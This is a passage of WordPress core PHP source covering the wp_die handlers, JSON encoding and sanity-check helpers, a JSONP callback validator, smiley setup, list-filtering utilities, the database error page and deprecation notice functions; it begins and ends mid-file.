box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
-webkit-transform: translateY(1px);
-ms-transform: translateY(1px);
transform: translateY(1px);
}
<?php
if ( 'rtl' == $text_direction ) {
echo 'body { font-family: Tahoma, Arial; }';
}
?>
</style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
<?php echo $message; ?>
</body>
</html>
<?php
die();
}
/**
* Kill WordPress execution and display XML message with error message.
*
* This is the handler for wp_die when processing XMLRPC requests.
*
* @since 3.2.0
* @access private
*
* @global wp_xmlrpc_server $wp_xmlrpc_server
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
global $wp_xmlrpc_server;
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
if ( $wp_xmlrpc_server ) {
$error = new IXR_Error( $r['response'] , $message);
$wp_xmlrpc_server->output( $error->getXml() );
}
die();
}
/**
* Kill WordPress ajax execution.
*
* This is the handler for wp_die when processing Ajax requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title (unused). Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array(
'response' => 200,
);
$r = wp_parse_args( $args, $defaults );
if ( ! headers_sent() && null !== $r['response'] ) {
status_header( $r['response'] );
}
if ( is_scalar( $message ) )
die( (string) $message );
die( '0' );
}
/**
* Kill WordPress execution.
*
* This is the handler for wp_die when processing APP requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Optional. Response to print. Default empty.
*/
function _scalar_wp_die_handler( $message = '' ) {
if ( is_scalar( $message ) )
die( (string) $message );
die();
}
/**
* Encode a variable into JSON, with some sanity checks.
*
* @since 4.1.0
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
* @param int $depth Optional. Maximum depth to walk through $data. Must be
* greater than 0. Default 512.
* @return string|false The JSON encoded string, or false if it cannot be encoded.
*/
function wp_json_encode( $data, $options = 0, $depth = 512 ) {
/*
* json_encode() has had extra params added over the years.
* $options was added in 5.3, and $depth in 5.5.
* We need to make sure we call it with the correct arguments.
*/
if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
$args = array( $data, $options, $depth );
} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
$args = array( $data, $options );
} else {
$args = array( $data );
}
// Prepare the data for JSON serialization.
$args[0] = _wp_json_prepare_data( $data );
$json = @call_user_func_array( 'json_encode', $args );
// If json_encode() was successful, no need to do more sanity checking.
// ... unless we're in an old version of PHP, and json_encode() returned
// a string containing 'null'. Then we need to do more sanity checking.
if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {
return $json;
}
try {
$args[0] = _wp_json_sanity_check( $data, $depth );
} catch ( Exception $e ) {
return false;
}
return call_user_func_array( 'json_encode', $args );
}
/**
* Perform sanity checks on data that shall be encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see wp_json_encode()
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $depth Maximum depth to walk through $data. Must be greater than 0.
* @return mixed The sanitized data that shall be encoded to JSON.
*/
function _wp_json_sanity_check( $data, $depth ) {
if ( $depth < 0 ) {
throw new Exception( 'Reached depth limit' );
}
if ( is_array( $data ) ) {
$output = array();
foreach ( $data as $id => $el ) {
// Don't forget to sanitize the ID!
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
// Check the element type, so that we're only recursing if we really have to.
if ( is_array( $el ) || is_object( $el ) ) {
$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output[ $clean_id ] = _wp_json_convert_string( $el );
} else {
$output[ $clean_id ] = $el;
}
}
} elseif ( is_object( $data ) ) {
$output = new stdClass;
foreach ( $data as $id => $el ) {
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
if ( is_array( $el ) || is_object( $el ) ) {
$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output->$clean_id = _wp_json_convert_string( $el );
} else {
$output->$clean_id = $el;
}
}
} elseif ( is_string( $data ) ) {
return _wp_json_convert_string( $data );
} else {
return $data;
}
return $output;
}
/**
* Convert a string to UTF-8, so that it can be safely encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see _wp_json_sanity_check()
*
* @staticvar bool $use_mb
*
* @param string $string The string which is to be converted.
* @return string The checked string.
*/
function _wp_json_convert_string( $string ) {
static $use_mb = null;
if ( is_null( $use_mb ) ) {
$use_mb = function_exists( 'mb_convert_encoding' );
}
if ( $use_mb ) {
$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
if ( $encoding ) {
return mb_convert_encoding( $string, 'UTF-8', $encoding );
} else {
return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
}
} else {
return wp_check_invalid_utf8( $string, true );
}
}
/**
* Prepares response data to be serialized to JSON.
*
* This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
*
* @ignore
* @since 4.4.0
* @access private
*
* @param mixed $data Native representation.
* @return bool|int|float|null|string|array Data ready for `json_encode()`.
*/
function _wp_json_prepare_data( $data ) {
if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
return $data;
}
switch ( gettype( $data ) ) {
case 'boolean':
case 'integer':
case 'double':
case 'string':
case 'NULL':
// These values can be passed through.
return $data;
case 'array':
// Arrays must be mapped in case they also return objects.
return array_map( '_wp_json_prepare_data', $data );
case 'object':
// If this is an incomplete object (__PHP_Incomplete_Class), bail.
if ( ! is_object( $data ) ) {
return null;
}
if ( $data instanceof JsonSerializable ) {
$data = $data->jsonSerialize();
} else {
$data = get_object_vars( $data );
}
// Now, pass the array (or whatever was returned from jsonSerialize through).
return _wp_json_prepare_data( $data );
default:
return null;
}
}
/**
* Send a JSON response back to an Ajax request.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $response Variable (usually an array or object) to encode as JSON,
* then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json( $response, $status_code = null ) {
@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
if ( null !== $status_code ) {
status_header( $status_code );
}
echo wp_json_encode( $response );
if ( wp_doing_ajax() ) {
wp_die( '', '', array(
'response' => null,
) );
} else {
die;
}
}
/**
* Send a JSON response back to an Ajax request, indicating success.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_success( $data = null, $status_code = null ) {
$response = array( 'success' => true );
if ( isset( $data ) )
$response['data'] = $data;
wp_send_json( $response, $status_code );
}
/**
* Send a JSON response back to an Ajax request, indicating failure.
*
* If the `$data` parameter is a WP_Error object, the errors
* within the object are processed and output as an array of error
* codes and corresponding messages. All other types are output
* without further processing.
*
* @since 3.5.0
* @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_error( $data = null, $status_code = null ) {
$response = array( 'success' => false );
if ( isset( $data ) ) {
if ( is_wp_error( $data ) ) {
$result = array();
foreach ( $data->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$result[] = array( 'code' => $code, 'message' => $message );
}
}
$response['data'] = $result;
} else {
$response['data'] = $data;
}
}
wp_send_json( $response, $status_code );
}
/**
* Checks that a JSONP callback is a valid JavaScript callback.
*
* Only allows alphanumeric characters and the dot character in callback
* function names. This helps to mitigate XSS attacks caused by directly
* outputting user input.
*
* @since 4.6.0
*
* @param string $callback Supplied JSONP callback function.
* @return bool True if valid callback, otherwise false.
*/
function wp_check_jsonp_callback( $callback ) {
if ( ! is_string( $callback ) ) {
return false;
}
preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
return 0 === $illegal_char_count;
}
/**
* Retrieve the WordPress home page URL.
*
* If the constant named 'WP_HOME' exists, then it will be used and returned
* by the function. This can be used to counter the redirection on your local
* development environment.
*
* @since 2.2.0
* @access private
*
* @see WP_HOME
*
* @param string $url URL for the home location.
* @return string Homepage location.
*/
function _config_wp_home( $url = '' ) {
if ( defined( 'WP_HOME' ) )
return untrailingslashit( WP_HOME );
return $url;
}
/**
* Retrieve the WordPress site URL.
*
* If the constant named 'WP_SITEURL' is defined, then the value in that
* constant will always be returned. This can be used for debugging a site
* on your localhost while not having to change the database to your URL.
*
* @since 2.2.0
* @access private
*
* @see WP_SITEURL
*
* @param string $url URL to set the WordPress site location.
* @return string The WordPress Site URL.
*/
function _config_wp_siteurl( $url = '' ) {
if ( defined( 'WP_SITEURL' ) )
return untrailingslashit( WP_SITEURL );
return $url;
}
/**
* Delete the fresh site option.
*
* @since 4.7.0
* @access private
*/
function _delete_option_fresh_site() {
update_option( 'fresh_site', '0' );
}
/**
* Set the localized direction for MCE plugin.
*
* Will only set the direction to 'rtl', if the WordPress locale has
* the text direction set to 'rtl'.
*
* Fills in the 'directionality' setting, enables the 'directionality'
* plugin, and adds the 'ltr' button to 'toolbar1', formerly
* 'theme_advanced_buttons1' array keys. These keys are then returned
* in the $mce_init (TinyMCE settings) array.
*
* @since 2.1.0
* @access private
*
* @param array $mce_init MCE settings array.
* @return array Direction set for 'rtl', if needed by locale.
*/
function _mce_set_direction( $mce_init ) {
if ( is_rtl() ) {
$mce_init['directionality'] = 'rtl';
$mce_init['rtl_ui'] = true;
if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
$mce_init['plugins'] .= ',directionality';
}
if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
$mce_init['toolbar1'] .= ',ltr';
}
}
return $mce_init;
}
/**
* Convert smiley code to the icon graphic file equivalent.
*
* You can turn off smilies, by going to the write setting screen and unchecking
* the box, or by setting 'use_smilies' option to false or removing the option.
*
* Plugins may override the default smiley list by setting the $wpsmiliestrans
* to an array, with the key the code the blogger types in and the value the
* image file.
*
* The $wp_smiliessearch global is for the regular expression and is set each
* time the function is called.
*
* The full list of smilies can be found in the function and won't be listed in
* the description. Probably should create a Codex page for it, so that it is
* available.
*
* @global array $wpsmiliestrans
* @global array $wp_smiliessearch
*
* @since 2.2.0
*/
function smilies_init() {
global $wpsmiliestrans, $wp_smiliessearch;
// don't bother setting up smilies if they are disabled
if ( !get_option( 'use_smilies' ) )
return;
if ( !isset( $wpsmiliestrans ) ) {
$wpsmiliestrans = array(
':mrgreen:' => 'mrgreen.png',
':neutral:' => "\xf0\x9f\x98\x90",
':twisted:' => "\xf0\x9f\x98\x88",
':arrow:' => "\xe2\x9e\xa1",
':shock:' => "\xf0\x9f\x98\xaf",
':smile:' => "\xf0\x9f\x99\x82",
':???:' => "\xf0\x9f\x98\x95",
':cool:' => "\xf0\x9f\x98\x8e",
':evil:' => "\xf0\x9f\x91\xbf",
':grin:' => "\xf0\x9f\x98\x80",
':idea:' => "\xf0\x9f\x92\xa1",
':oops:' => "\xf0\x9f\x98\xb3",
':razz:' => "\xf0\x9f\x98\x9b",
':roll:' => "\xf0\x9f\x99\x84",
':wink:' => "\xf0\x9f\x98\x89",
':cry:' => "\xf0\x9f\x98\xa5",
':eek:' => "\xf0\x9f\x98\xae",
':lol:' => "\xf0\x9f\x98\x86",
':mad:' => "\xf0\x9f\x98\xa1",
':sad:' => "\xf0\x9f\x99\x81",
'8-)' => "\xf0\x9f\x98\x8e",
'8-O' => "\xf0\x9f\x98\xaf",
':-(' => "\xf0\x9f\x99\x81",
':-)' => "\xf0\x9f\x99\x82",
':-?' => "\xf0\x9f\x98\x95",
':-D' => "\xf0\x9f\x98\x80",
':-P' => "\xf0\x9f\x98\x9b",
':-o' => "\xf0\x9f\x98\xae",
':-x' => "\xf0\x9f\x98\xa1",
':-|' => "\xf0\x9f\x98\x90",
';-)' => "\xf0\x9f\x98\x89",
// This one transformation breaks regular text with frequency.
// '8)' => "\xf0\x9f\x98\x8e",
'8O' => "\xf0\x9f\x98\xaf",
':(' => "\xf0\x9f\x99\x81",
':)' => "\xf0\x9f\x99\x82",
':?' => "\xf0\x9f\x98\x95",
':D' => "\xf0\x9f\x98\x80",
':P' => "\xf0\x9f\x98\x9b",
':o' => "\xf0\x9f\x98\xae",
':x' => "\xf0\x9f\x98\xa1",
':|' => "\xf0\x9f\x98\x90",
';)' => "\xf0\x9f\x98\x89",
':!:' => "\xe2\x9d\x97",
':?:' => "\xe2\x9d\x93",
);
}
/**
* Filters all the smilies.
*
* This filter must be added before `smilies_init` is run, as
* it is normally only run once to setup the smilies regex.
*
* @since 4.7.0
*
* @param array $wpsmiliestrans List of the smilies.
*/
$wpsmiliestrans = apply_filters('smilies', $wpsmiliestrans);
if (count($wpsmiliestrans) == 0) {
return;
}
/*
* NOTE: we sort the smilies in reverse key order. This is to make sure
* we match the longest possible smilie (:???: vs :?) as the regular
* expression used below is first-match
*/
krsort($wpsmiliestrans);
$spaces = wp_spaces_regexp();
// Begin first "subpattern"
$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
$subchar = '';
foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
$firstchar = substr($smiley, 0, 1);
$rest = substr($smiley, 1);
// new subpattern?
if ($firstchar != $subchar) {
if ($subchar != '') {
$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"
$wp_smiliessearch .= '|(?<=' . $spaces . '|^)'; // Begin another "subpattern"
}
$subchar = $firstchar;
$wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
} else {
$wp_smiliessearch .= '|';
}
$wp_smiliessearch .= preg_quote($rest, '/');
}
$wp_smiliessearch .= ')(?=' . $spaces . '|$)/m';
}
/**
* Merge user defined arguments into defaults array.
*
* This function is used throughout WordPress to allow for both string or array
* to be merged into another array.
*
* @since 2.2.0
* @since 2.3.0 `$args` can now also be an object.
*
* @param string|array|object $args Value to merge with $defaults.
* @param array $defaults Optional. Array that serves as the defaults. Default empty.
* @return array Merged user defined values with defaults.
*/
function wp_parse_args( $args, $defaults = '' ) {
if ( is_object( $args ) )
$r = get_object_vars( $args );
elseif ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );
if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
return $r;
}
/**
* Clean up an array, comma- or space-separated list of IDs.
*
* @since 3.0.0
*
* @param array|string $list List of ids.
* @return array Sanitized array of IDs.
*/
function wp_parse_id_list( $list ) {
if ( !is_array($list) )
$list = preg_split('/[\s,]+/', $list);
return array_unique(array_map('absint', $list));
}
/**
* Clean up an array, comma- or space-separated list of slugs.
*
* @since 4.7.0
*
* @param array|string $list List of slugs.
* @return array Sanitized array of slugs.
*/
function wp_parse_slug_list( $list ) {
if ( ! is_array( $list ) ) {
$list = preg_split( '/[\s,]+/', $list );
}
foreach ( $list as $key => $value ) {
$list[ $key ] = sanitize_title( $value );
}
return array_unique( $list );
}
/**
* Extract a slice of an array, given a list of keys.
*
* @since 3.1.0
*
* @param array $array The original array.
* @param array $keys The list of keys.
* @return array The array slice.
*/
function wp_array_slice_assoc( $array, $keys ) {
$slice = array();
foreach ( $keys as $key )
if ( isset( $array[ $key ] ) )
$slice[ $key ] = $array[ $key ];
return $slice;
}
/**
* Determines if the variable is a numeric-indexed array.
*
* @since 4.4.0
*
* @param mixed $data Variable to check.
* @return bool Whether the variable is a list.
*/
function wp_is_numeric_array( $data ) {
if ( ! is_array( $data ) ) {
return false;
}
$keys = array_keys( $data );
$string_keys = array_filter( $keys, 'is_string' );
return count( $string_keys ) === 0;
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.0.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'or' means
* only one element from the array needs to match; 'and'
* means all elements must match; 'not' means no elements may
* match. Default 'and'.
* @param bool|string $field A field from the object to place instead of the entire object.
* Default false.
* @return array A list of objects or object fields.
*/
function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
$util->filter( $args, $operator );
if ( $field ) {
$util->pluck( $field );
}
return $util->get_output();
}
/**
* Filters a list of objects, based on a set of key => value arguments.
*
* @since 3.1.0
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list An array of objects to filter.
* @param array $args Optional. An array of key => value arguments to match
* against each object. Default empty array.
* @param string $operator Optional. The logical operation to perform. 'AND' means
* all elements from the array must match. 'OR' means only
* one element needs to match. 'NOT' means no elements may
* match. Default 'AND'.
* @return array Array of found values.
*/
function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->filter( $args, $operator );
}
/**
* Pluck a certain field out of each object in a list.
*
* This has the same functionality and prototype of
* array_column() (PHP 5.5) but also supports objects.
*
* @since 3.1.0
* @since 4.0.0 $index_key parameter added.
* @since 4.7.0 Uses WP_List_Util class.
*
* @param array $list List of objects or arrays
* @param int|string $field Field from the object to place instead of the entire object
* @param int|string $index_key Optional. Field from the object to use as keys for the new array.
* Default null.
* @return array Array of found values. If `$index_key` is set, an array of found values with keys
* corresponding to `$index_key`. If `$index_key` is null, array keys from the original
* `$list` will be preserved in the results.
*/
function wp_list_pluck( $list, $field, $index_key = null ) {
$util = new WP_List_Util( $list );
return $util->pluck( $field, $index_key );
}
/**
* Sorts a list of objects, based on one or more orderby arguments.
*
* @since 4.7.0
*
* @param array $list An array of objects to filter.
* @param string|array $orderby Optional. Either the field name to order by or an array
* of multiple orderby fields as $orderby => $order.
* @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby
* is a string.
* @param bool $preserve_keys Optional. Whether to preserve keys. Default false.
* @return array The sorted array.
*/
function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) {
if ( ! is_array( $list ) ) {
return array();
}
$util = new WP_List_Util( $list );
return $util->sort( $orderby, $order, $preserve_keys );
}
/**
* Determines if Widgets library should be loaded.
*
* Checks to make sure that the widgets library hasn't already been loaded.
* If it hasn't, then it will load the widgets library and run an action hook.
*
* @since 2.2.0
*/
function wp_maybe_load_widgets() {
/**
* Filters whether to load the Widgets library.
*
* Passing a falsey value to the filter will effectively short-circuit
* the Widgets library from loading.
*
* @since 2.8.0
*
* @param bool $wp_maybe_load_widgets Whether to load the Widgets library.
* Default true.
*/
if ( ! apply_filters( 'load_default_widgets', true ) ) {
return;
}
require_once( ABSPATH . WPINC . '/default-widgets.php' );
add_action( '_admin_menu', 'wp_widgets_add_menu' );
}
/**
* Append the Widgets menu to the themes main menu.
*
* @since 2.2.0
*
* @global array $submenu
*/
function wp_widgets_add_menu() {
global $submenu;
if ( ! current_theme_supports( 'widgets' ) )
return;
$submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
ksort( $submenu['themes.php'], SORT_NUMERIC );
}
/**
* Flush all output buffers for PHP 5.2.
*
* Make sure all output buffers are flushed before our singletons are destroyed.
*
* @since 2.2.0
*/
function wp_ob_end_flush_all() {
$levels = ob_get_level();
for ($i=0; $i<$levels; $i++)
ob_end_flush();
}
/**
* Load custom DB error or display WordPress DB error.
*
* If a file exists in the wp-content directory named db-error.php, then it will
* be loaded instead of displaying the WordPress DB error. If it is not found,
* then the WordPress DB error will be displayed instead.
*
* The WordPress DB error sets the HTTP status header to 500 to try to prevent
* search engines from caching the message. Custom DB messages should do the
* same.
*
* This function was backported to WordPress 2.3.2, but originally was added
* in WordPress 2.5.0.
*
* @since 2.3.2
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function dead_db() {
global $wpdb;
wp_load_translations_early();
// Load custom DB error template, if present.
if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
require_once( WP_CONTENT_DIR . '/db-error.php' );
die();
}
// If installing or in the admin, provide the verbose message.
if ( wp_installing() || defined( 'WP_ADMIN' ) )
wp_die($wpdb->error);
// Otherwise, be terse.
status_header( 500 );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php _e( 'Database Error' ); ?></title>
</head>
<body>
<h1><?php _e( 'Error establishing a database connection' ); ?></h1>
</body>
</html>
<?php
die();
}
/**
* Convert a value to non-negative integer.
*
* @since 2.5.0
*
* @param mixed $maybeint Data you wish to have converted to a non-negative integer.
* @return int A non-negative integer.
*/
function absint( $maybeint ) {
return abs( intval( $maybeint ) );
}
/**
* Mark a function as deprecated and inform when it has been used.
*
* There is a {@see 'hook deprecated_function_run'} that will be called that can be used
* to get the backtrace up to what file and function called the deprecated
* function.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every function that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the function.
* @param string $replacement Optional. The function that should have been called. Default null.
*/
function _deprecated_function( $function, $version, $replacement = null ) {
/**
* Fires when a deprecated function is called.
*
* @since 2.5.0
*
* @param string $function The function that was called.
* @param string $replacement The function that should have been called.
* @param string $version The version of WordPress that deprecated the function.
*/
do_action( 'deprecated_function_run', $function, $replacement, $version );
/**
* Filters whether to trigger an error for deprecated functions.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP function name, 2: version number, 3: alternative function name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $function, $version, $replacement ) );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a constructor as deprecated and informs when it has been used.
*
* Similar to _deprecated_function(), but with different strings. Used to
* remove PHP4 style constructors.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every PHP4 style constructor method that is deprecated.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @access private
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class Optional. The parent class calling the deprecated constructor.
* Default empty string.
*/
function _deprecated_constructor( $class, $version, $parent_class = '' ) {
/**
* Fires when a deprecated constructor is called.
*
* @since 4.3.0
* @since 4.5.0 Added the `$parent_class` parameter.
*
* @param string $class The class containing the deprecated constructor.
* @param string $version The version of WordPress that deprecated the function.
* @param string $parent_class The parent class calling the deprecated constructor.
*/
do_action( 'deprecated_constructor_run', $class, $version, $parent_class );
/**
* Filters whether to trigger an error for deprecated functions.
*
* `WP_DEBUG` must be true in addition to the filter evaluating to true.
*
* @since 4.3.0
*
* @param bool $trigger Whether to trigger the error for deprecated functions. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! empty( $parent_class ) ) {
/* translators: 1: PHP class name, 2: PHP parent class name, 3: version number, 4: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.' ),
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
/* translators: 1: PHP class name, 2: version number, 3: __construct() method */
trigger_error( sprintf( __( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.' ),
$class, $version, '<pre>__construct()</pre>' ) );
}
} else {
if ( ! empty( $parent_class ) ) {
trigger_error( sprintf( 'The called constructor method for %1$s in %2$s is <strong>deprecated</strong> since version %3$s! Use %4$s instead.',
$class, $parent_class, $version, '<pre>__construct()</pre>' ) );
} else {
trigger_error( sprintf( 'The called constructor method for %1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.',
$class, $version, '<pre>__construct()</pre>' ) );
}
}
}
}
/**
* Mark a file as deprecated and inform when it has been used.
*
* There is a hook {@see 'deprecated_file_included'} that will be called that can be used
* to get the backtrace up to what file and function included the deprecated
* file.
*
* The current behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is to be used in every file that is deprecated.
*
* @since 2.5.0
* @access private
*
* @param string $file The file that was included.
* @param string $version The version of WordPress that deprecated the file.
* @param string $replacement Optional. The file that should have been included based on ABSPATH.
* Default null.
* @param string $message Optional. A message regarding the change. Default empty.
*/
function _deprecated_file( $file, $version, $replacement = null, $message = '' ) {
/**
* Fires when a deprecated file is called.
*
* @since 2.5.0
*
* @param string $file The file that was called.
* @param string $replacement The file that should have been included based on ABSPATH.
* @param string $version The version of WordPress that deprecated the file.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_file_included', $file, $replacement, $version, $message );
/**
* Filters whether to trigger an error for deprecated files.
*
* @since 2.5.0
*
* @param bool $trigger Whether to trigger the error for deprecated files. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) {
$message = empty( $message ) ? '' : ' ' . $message;
if ( function_exists( '__' ) ) {
if ( ! is_null( $replacement ) ) {
/* translators: 1: PHP file name, 2: version number, 3: alternative file name */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) . $message );
} else {
/* translators: 1: PHP file name, 2: version number */
trigger_error( sprintf( __('%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.'), $file, $version ) . $message );
}
} else {
if ( ! is_null( $replacement ) ) {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message );
} else {
trigger_error( sprintf( '%1$s is <strong>deprecated</strong> since version %2$s with no alternative available.', $file, $version ) . $message );
}
}
}
}
/**
* Mark a function argument as deprecated and inform when it has been used.
*
* This function is to be used whenever a deprecated function argument is used.
* Before this function is called, the argument must be checked for whether it was
* used by comparing it to its default value or evaluating whether it is empty.
* For example:
*
* if ( ! empty( $deprecated ) ) {
* _deprecated_argument( __FUNCTION__, '3.0.0' );
* }
*
*
* There is a hook deprecated_argument_run that will be called that can be used
* to get the backtrace up to what file and function used the deprecated
* argument.
*
* The current behavior is to trigger a user error if WP_DEBUG is true.
*
* @since 3.0.0
* @access private
*
* @param string $function The function that was called.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message Optional. A message regarding the change. Default null.
*/
function _deprecated_argument( $function, $version, $message = null ) {
/**
* Fires when a deprecated argument is called.
*
* @since 3.0.0
*
* @param string $function The function that was called.
* @param string $message A message regarding the change.
* @param string $version The version of WordPress that deprecated the argument used.
*/
do_action( 'deprecated_argument_run', $function, $message, $version );
/**
* Filters whether to trigger an error for deprecated arguments.
*
* @since 3.0.0
*
* @param bool $trigger Whether to trigger the error for deprecated arguments. Default true.
*/
if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) {
if ( function_exists( '__' ) ) {
if ( ! is_null( $message ) ) {
/* translators: 1: PHP function name, 2: version number, 3: optional message regarding the change */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s'), $function, $version, $message ) );
} else {
/* translators: 1: PHP function name, 2: version number */
trigger_error( sprintf( __('%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.'), $function, $version ) );
}
} else {
if ( ! is_null( $message ) ) {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s! %3$s', $function, $version, $message ) );
} else {
trigger_error( sprintf( '%1$s was called with an argument that is <strong>deprecated</strong> since version %2$s with no alternative available.', $function, $version ) );
}
}
}
}
/**
* Marks a deprecated action or filter hook as deprecated and throws a notice.
*
* Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where
* the deprecated hook was called.
*
* Default behavior is to trigger a user error if `WP_DEBUG` is true.
*
* This function is called by the do_action_deprecated() and apply_filters_deprecated()
* functions, and so generally does not need to be called directly.
*
* @since 4.6.0
* @access private
*
* @param string $hook The hook that was used.
* @param string $version The version of WordPress that deprecated the hook.
* @param string $replacement Optional. The hook that should have been used.
* @param string $message Optional. A message regarding the change.
*/
function _deprecated_hook( $hook, $version, $replacement = null, $message = null ) {
/**
* Fires when a deprecated hook is called.
*
* @since 4.6.0
*
* @param string $hook The hook that was called.
* @param string $replacement The hook that should be used as a replacement.
* @param string $version The version of WordPress that deprecated the argument used.
* @param string $message A message regarding the change.
*/
do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message );
/**
* Filters whether to trigger deprecated hook errors.
*
* @since 4.6.0
*
